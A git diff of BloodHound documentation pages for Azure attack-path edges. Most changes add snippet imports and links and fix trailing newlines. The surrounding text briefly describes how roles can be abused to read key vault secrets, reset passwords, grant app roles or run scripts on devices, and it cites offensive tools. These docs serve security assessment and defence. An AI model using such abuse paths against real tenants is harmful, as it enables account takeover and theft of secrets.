description: "Principals with the Intune Administrators role are able to execute arbitrary PowerShell scripts on devices that are joined to the Azure tenant."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
@@ -41,4 +43,4 @@ C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\_IntuneManagementExtensi
* [https://attack.mitre.org/tactics/TA0002/](https://attack.mitre.org/tactics/TA0002/)
* [https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d](https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-get-certificates.mdx b/docs/resources/edges/az-get-certificates.mdx
index 2d363b05..f5af016d 100644
--- a/docs/resources/edges/az-get-certificates.mdx
+++ b/docs/resources/edges/az-get-certificates.mdx
@@ -3,7 +3,9 @@ title: AZGetCertificates
description: "The ability to read certificates from key vaults."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -23,4 +25,4 @@ Azure will create a new log event for the key vault whenever a secret is accesse
* [https://blog.netspi.com/azure-automation-accounts-key-stores/](https://blog.netspi.com/azure-automation-accounts-key-stores/)
* [https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent](https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-get-keys.mdx b/docs/resources/edges/az-get-keys.mdx
index d23b4ab6..dbf14420 100644
--- a/docs/resources/edges/az-get-keys.mdx
+++ b/docs/resources/edges/az-get-keys.mdx
@@ -3,7 +3,9 @@ title: AZGetKeys
description: "The ability to read keys from key vaults."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -23,4 +25,4 @@ Azure will create a new log event for the key vault whenever a secret is accesse
* [https://blog.netspi.com/azure-automation-accounts-key-stores/](https://blog.netspi.com/azure-automation-accounts-key-stores/)
* [https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent](https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-get-secrets.mdx b/docs/resources/edges/az-get-secrets.mdx
index 66c8907c..fc1342e2 100644
--- a/docs/resources/edges/az-get-secrets.mdx
+++ b/docs/resources/edges/az-get-secrets.mdx
@@ -2,7 +2,10 @@
title: AZGetSecrets
description: "The ability to read secrets from key vaults."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
@@ -23,4 +26,4 @@ Azure will create a new log event for the key vault whenever a secret is accesse
* [https://blog.netspi.com/azure-automation-accounts-key-stores/](https://blog.netspi.com/azure-automation-accounts-key-stores/)
* [https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent](https://powerzure.readthedocs.io/en/latest/Functions/operational.html#get-azurekeyvaultcontent)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-global-admin.mdx b/docs/resources/edges/az-global-admin.mdx
index aa73dadd..572c1bfe 100644
--- a/docs/resources/edges/az-global-admin.mdx
+++ b/docs/resources/edges/az-global-admin.mdx
@@ -2,7 +2,10 @@
title: AZGlobalAdmin
description: "The principal has the Global Administrator Entra ID role active against the target tenant. In other words, the principal is a Global Admin. Global Admins can do almost anything against almost every object type in the tenant, this is the highest privilege role in Azure."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-has-role.mdx b/docs/resources/edges/az-has-role.mdx
index f34fb6ec..f807a213 100644
--- a/docs/resources/edges/az-has-role.mdx
+++ b/docs/resources/edges/az-has-role.mdx
@@ -3,7 +3,9 @@ title: AZHasRole
description: The principal has an active assignment to the Entra ID role. This includes permanent assignments, and temporary assignments via Privileged Identity Management (PIM). If the principal is assigned eligibility via PIM the principal will also have an [AZRoleEligible](/resources/edges/az-role-eligible) edge to the role.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-key-vault-contributor.mdx b/docs/resources/edges/az-key-vault-contributor.mdx
index d174077e..0e06c0ee 100644
--- a/docs/resources/edges/az-key-vault-contributor.mdx
+++ b/docs/resources/edges/az-key-vault-contributor.mdx
@@ -3,7 +3,10 @@ title: AZKeyVaultKVContributor
description: "The Key Vault Contributor role grants full control of the target Key Vault. This includes the ability to read all secrets stored on the Key Vault."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
## Abuse Info
@@ -16,7 +19,8 @@ Via PowerZure:
* [Export-AzureKeyVaultContent](https://powerzure.readthedocs.io/en/latest/Functions/operational.html#export-azurekeyvaultcontent)
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
+
## References
@@ -24,4 +28,4 @@ This will depend on which particular abuse you perform, but in general Azure wil
* [https://blog.netspi.com/azure-automation-accounts-key-stores/](https://blog.netspi.com/azure-automation-accounts-key-stores/)
* [https://blog.netspi.com/get-azurepasswords/](https://blog.netspi.com/get-azurepasswords/)
* [https://blog.netspi.com/attacking-azure-cloud-shell/](https://blog.netspi.com/attacking-azure-cloud-shell/)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-logic-app-contributor.mdx b/docs/resources/edges/az-logic-app-contributor.mdx
index dda16bc0..c7323225 100644
--- a/docs/resources/edges/az-logic-app-contributor.mdx
+++ b/docs/resources/edges/az-logic-app-contributor.mdx
@@ -3,7 +3,10 @@ title: AZLogicAppContributor
description: The Logic Contributor role grants full control of the target Logic App. This includes the ability to execute arbitrary commands on the Logic App.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
## Abuse Info
@@ -12,7 +15,8 @@ Currently you need access to the portal GUI to execute this abuse. The abuse inv
You can see a full walkthrough for executing that abuse in this blog post: [Andy Robbins - Managed Identity Attack Paths, Part 2: Logic Apps](https://medium.com/p/52b29354fc54)
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
+
## References
diff --git a/docs/resources/edges/az-managed-identity.mdx b/docs/resources/edges/az-managed-identity.mdx
index db8c1582..d0e5ec8a 100644
--- a/docs/resources/edges/az-managed-identity.mdx
+++ b/docs/resources/edges/az-managed-identity.mdx
@@ -2,7 +2,11 @@
title: AZManagedIdentity
description: "Azure resources like Virtual Machines, Logic Apps, and Automation Accounts can be assigned to either System- or User-Assigned Managed Identities."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
@@ -24,7 +28,7 @@ We can then use this JWT to authenticate as the Service Principal to the Microso
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
diff --git a/docs/resources/edges/az-member-of.mdx b/docs/resources/edges/az-member-of.mdx
index af73d1f2..6558b937 100644
--- a/docs/resources/edges/az-member-of.mdx
+++ b/docs/resources/edges/az-member-of.mdx
@@ -2,7 +2,10 @@
title: AZMemberOf
description: "The given asset is a member of the group."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
Groups in Entra ID grant their direct members any privileges the group itself has. If a group has an Entra admin role, its direct members inherit those permissions.
diff --git a/docs/resources/edges/az-mg-add-member.mdx b/docs/resources/edges/az-mg-add-member.mdx
index 4fe28c63..3cacc599 100644
--- a/docs/resources/edges/az-mg-add-member.mdx
+++ b/docs/resources/edges/az-mg-add-member.mdx
@@ -2,7 +2,10 @@
title: AZMGAddMember
description: "This edge is created during post-processing."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
It is created against non-role assignable Entra ID security groups when a Service Principal has one of the following MS Graph app role assignments:
@@ -46,4 +49,4 @@ The Azure activity log for the tenant will log who added what principal to what
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-add-owner.mdx b/docs/resources/edges/az-mg-add-owner.mdx
index b8ea823d..88f49598 100644
--- a/docs/resources/edges/az-mg-add-owner.mdx
+++ b/docs/resources/edges/az-mg-add-owner.mdx
@@ -3,7 +3,9 @@ title: AZMGAddOwner
description: "This edge is created during post-processing."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
It is created against all App Registrations and Service Principals within the same tenant when a Service Principal has the following MS Graph app role:
@@ -70,4 +72,4 @@ Any time you add an owner to any Azure object, the AzureAD audit logs will creat
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-add-secret.mdx b/docs/resources/edges/az-mg-add-secret.mdx
index bd27b1b7..39fed961 100644
--- a/docs/resources/edges/az-mg-add-secret.mdx
+++ b/docs/resources/edges/az-mg-add-secret.mdx
@@ -3,7 +3,9 @@ title: AZMGAddSecret
description: "This edge is created during post-processing."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
@@ -65,4 +67,4 @@ When you create a new secret for an App or Service Principal, Azure creates an e
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-app-role-assignment-readwrite-all.mdx b/docs/resources/edges/az-mg-app-role-assignment-readwrite-all.mdx
index d490437b..ff0fc1b4 100644
--- a/docs/resources/edges/az-mg-app-role-assignment-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-app-role-assignment-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGAppRoleAssignment_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the AppRoleAssignment.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -18,4 +20,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-application-readwrite-all.mdx b/docs/resources/edges/az-mg-application-readwrite-all.mdx
index 2c8a0038..3869b1b8 100644
--- a/docs/resources/edges/az-mg-application-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-application-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGApplication_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the Application.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-mg-directory-readwrite-all.mdx b/docs/resources/edges/az-mg-directory-readwrite-all.mdx
index 1bef52b9..0653c542 100644
--- a/docs/resources/edges/az-mg-directory-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-directory-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGDirectory_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the Directory.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -18,4 +20,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-grant-app-roles.mdx b/docs/resources/edges/az-mg-grant-app-roles.mdx
index b796d9dd..a60f88ba 100644
--- a/docs/resources/edges/az-mg-grant-app-roles.mdx
+++ b/docs/resources/edges/az-mg-grant-app-roles.mdx
@@ -3,7 +3,9 @@ title: AZMGGrantAppRoles
description: "This edge is created during post-processing."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
It is created against AzureAD tenant objects when a Service Principal has one of the following MS Graph app role assignments:
@@ -62,4 +64,4 @@ When you assign an app role to a Service Principal, the Azure Audit logs will cr
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-grant-role.mdx b/docs/resources/edges/az-mg-grant-role.mdx
index a3932082..685bca40 100644
--- a/docs/resources/edges/az-mg-grant-role.mdx
+++ b/docs/resources/edges/az-mg-grant-role.mdx
@@ -3,7 +3,9 @@ title: AZMGGrantRole
description: "This edge is created during post-processing."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
It is created against all Entra ID admin roles when a Service Principal has the following MS Graph app role assignment:
diff --git a/docs/resources/edges/az-mg-group-member-readwrite-all.mdx b/docs/resources/edges/az-mg-group-member-readwrite-all.mdx
index b3e1e74f..3554927c 100644
--- a/docs/resources/edges/az-mg-group-member-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-group-member-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGGroupMember_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the GroupMember.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -17,4 +19,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-group-readwrite-all.mdx b/docs/resources/edges/az-mg-group-readwrite-all.mdx
index 5f824b6d..af7d8d2c 100644
--- a/docs/resources/edges/az-mg-group-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-group-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGGroup_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the Group.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -18,4 +20,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-role-management-readwrite-directory.mdx b/docs/resources/edges/az-mg-role-management-readwrite-directory.mdx
index 27179743..3f783c77 100644
--- a/docs/resources/edges/az-mg-role-management-readwrite-directory.mdx
+++ b/docs/resources/edges/az-mg-role-management-readwrite-directory.mdx
@@ -3,7 +3,9 @@ title: AZMGRoleManagement_ReadWrite_Directory
description: "This edge is created when a Service Principal has been granted the RoleManagement.ReadWrite.Directory edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
@@ -20,4 +22,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
* [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/assign-roles-different-scopes)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-mg-service-principal-endpoint-readwrite-all.mdx b/docs/resources/edges/az-mg-service-principal-endpoint-readwrite-all.mdx
index e43ff851..4a6eb8fb 100644
--- a/docs/resources/edges/az-mg-service-principal-endpoint-readwrite-all.mdx
+++ b/docs/resources/edges/az-mg-service-principal-endpoint-readwrite-all.mdx
@@ -3,7 +3,9 @@ title: AZMGServicePrincipalEndpoint_ReadWrite_All
description: "This edge is created when a Service Principal has been granted the ServicePrincipalEndpoint.ReadWrite.All edge."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
@@ -16,4 +18,4 @@ No opsec considerations apply to this edge.
* [https://attack.mitre.org/techniques/T1098/](https://attack.mitre.org/techniques/T1098/)
* [https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5](https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-node-resource-group.mdx b/docs/resources/edges/az-node-resource-group.mdx
index 7a2f5764..c1103208 100644
--- a/docs/resources/edges/az-node-resource-group.mdx
+++ b/docs/resources/edges/az-node-resource-group.mdx
@@ -3,7 +3,10 @@ title: AZNodeResourceGroup
description: "This edge is created to link Azure Kubernetes Service Managed Clusters to the Virtual Machine Scale Sets they use to execute commands on."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
The system-assigned identity for the AKS Cluster will have the Contributor role against the target Resource Group and its child Virtual Machine Scale Sets.
@@ -13,10 +16,10 @@ You will abuse this relationship by executing a command against the AKS Managed
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
* [https://github.com/BloodHoundAD/BARK](https://github.com/BloodHoundAD/BARK)
* [https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/](https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/)
-* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
\ No newline at end of file
+* [https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/](https://specterops.io/blog/2023/04/18/introducing-bloodhound-4-3-get-global-admin-more-often/)
diff --git a/docs/resources/edges/az-owner.mdx b/docs/resources/edges/az-owner.mdx
index bca7cd1d..90c9d56b 100644
--- a/docs/resources/edges/az-owner.mdx
+++ b/docs/resources/edges/az-owner.mdx
@@ -3,7 +3,9 @@ title: AZOwner
description: An Entra principal has been granted the Azure Resource Manager role called "Owner" over an Azure Resource Manager asset.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
AZOwner targets resources in Azure Resource Manager (for example [AZResourceGroup](/resources/nodes/az-resource-group), [AZSubscription](/resources/nodes/az-subscription), and [AZVM](/resources/nodes/az-vm)) through role assignment called "Owner".
diff --git a/docs/resources/edges/az-owns.mdx b/docs/resources/edges/az-owns.mdx
index 3a50446b..5cecb1ad 100644
--- a/docs/resources/edges/az-owns.mdx
+++ b/docs/resources/edges/az-owns.mdx
@@ -3,7 +3,9 @@ title: AZOwns
description: An Entra principal has been added as an owner over an Entra asset.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
AZOwns targets resources in Entra ID (for example [AZGroup](/resources/nodes/az-group), [AZServicePrincipal](/resources/nodes/az-service-principal), and [AZDevice](/resources/nodes/az-device)) from various object-specific ownership.
@@ -19,4 +21,4 @@ This depends on which abuse you perform, but in general Azure will create a log
## References
-[https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+[https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/az-privileged-auth-admin.mdx b/docs/resources/edges/az-privileged-auth-admin.mdx
index e7dfb8e8..aaea2531 100644
--- a/docs/resources/edges/az-privileged-auth-admin.mdx
+++ b/docs/resources/edges/az-privileged-auth-admin.mdx
@@ -2,18 +2,21 @@
title: AZPrivilegedAuthAdmin
description: "The principal has the Privileged Authentication Administrator Entra ID role active against the target tenant."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
Principals with this role can update sensitive properties for all users. Privileged Authentication Administrator can set or reset any authentication method (including passwords) for any user, including Global Administrators.
## Abuse Info
-See the abuse info under AZAddSecret or AZResetPassword.
+See the abuse info under [AZAddSecret](/resources/edges/az-add-secret) or [AZResetPassword](/resources/edges/az-reset-password).
## Opsec Considerations
-See the opsec consideration under AZAddSecret or AZResetPassword.
+See the opsec consideration under [AZAddSecret](/resources/edges/az-add-secret) or [AZResetPassword](/resources/edges/az-reset-password).
## References
diff --git a/docs/resources/edges/az-privileged-role-admin.mdx b/docs/resources/edges/az-privileged-role-admin.mdx
index 534ce0e2..c1730bb2 100644
--- a/docs/resources/edges/az-privileged-role-admin.mdx
+++ b/docs/resources/edges/az-privileged-role-admin.mdx
@@ -3,7 +3,9 @@ title: AZPrivilegedRoleAdmin
description: "The principal has the Privileged Role Administrator Entra ID role active against the target tenant."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-reset-password.mdx b/docs/resources/edges/az-reset-password.mdx
index 4a39b0df..a638cb09 100644
--- a/docs/resources/edges/az-reset-password.mdx
+++ b/docs/resources/edges/az-reset-password.mdx
@@ -3,7 +3,9 @@ title: AZResetPassword
description: "The ability to change another user’s password without knowing their current password."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-role-approver.mdx b/docs/resources/edges/az-role-approver.mdx
index 39e9192c..4c93dec5 100644
--- a/docs/resources/edges/az-role-approver.mdx
+++ b/docs/resources/edges/az-role-approver.mdx
@@ -3,7 +3,9 @@ title: AZRoleApprover
description: The principal is designated as an approver in the Privileged Identity Management (PIM) policy for the Entra ID role. PIM policies may require principals with the [AZRoleEligible](/resources/edges/az-role-eligible) edge to get approval from role approvers before activation takes effect.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-role-eligible.mdx b/docs/resources/edges/az-role-eligible.mdx
index 78efbbf7..7c78b4f0 100644
--- a/docs/resources/edges/az-role-eligible.mdx
+++ b/docs/resources/edges/az-role-eligible.mdx
@@ -3,7 +3,9 @@ title: AZRoleEligible
description: The principal is eligible for assignment to the Entra ID role via Privileged Identity Management (PIM). When the role is active the principal will also have an [AZHasRole](/resources/edges/az-has-role) edge to the role.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-runs-as.mdx b/docs/resources/edges/az-runs-as.mdx
index b5319932..62f0e9b0 100644
--- a/docs/resources/edges/az-runs-as.mdx
+++ b/docs/resources/edges/az-runs-as.mdx
@@ -3,7 +3,10 @@ title: AZRunsAs
description: "The Azure App runs as the Service Principal when it needs to authenticate to the tenant."
---
-
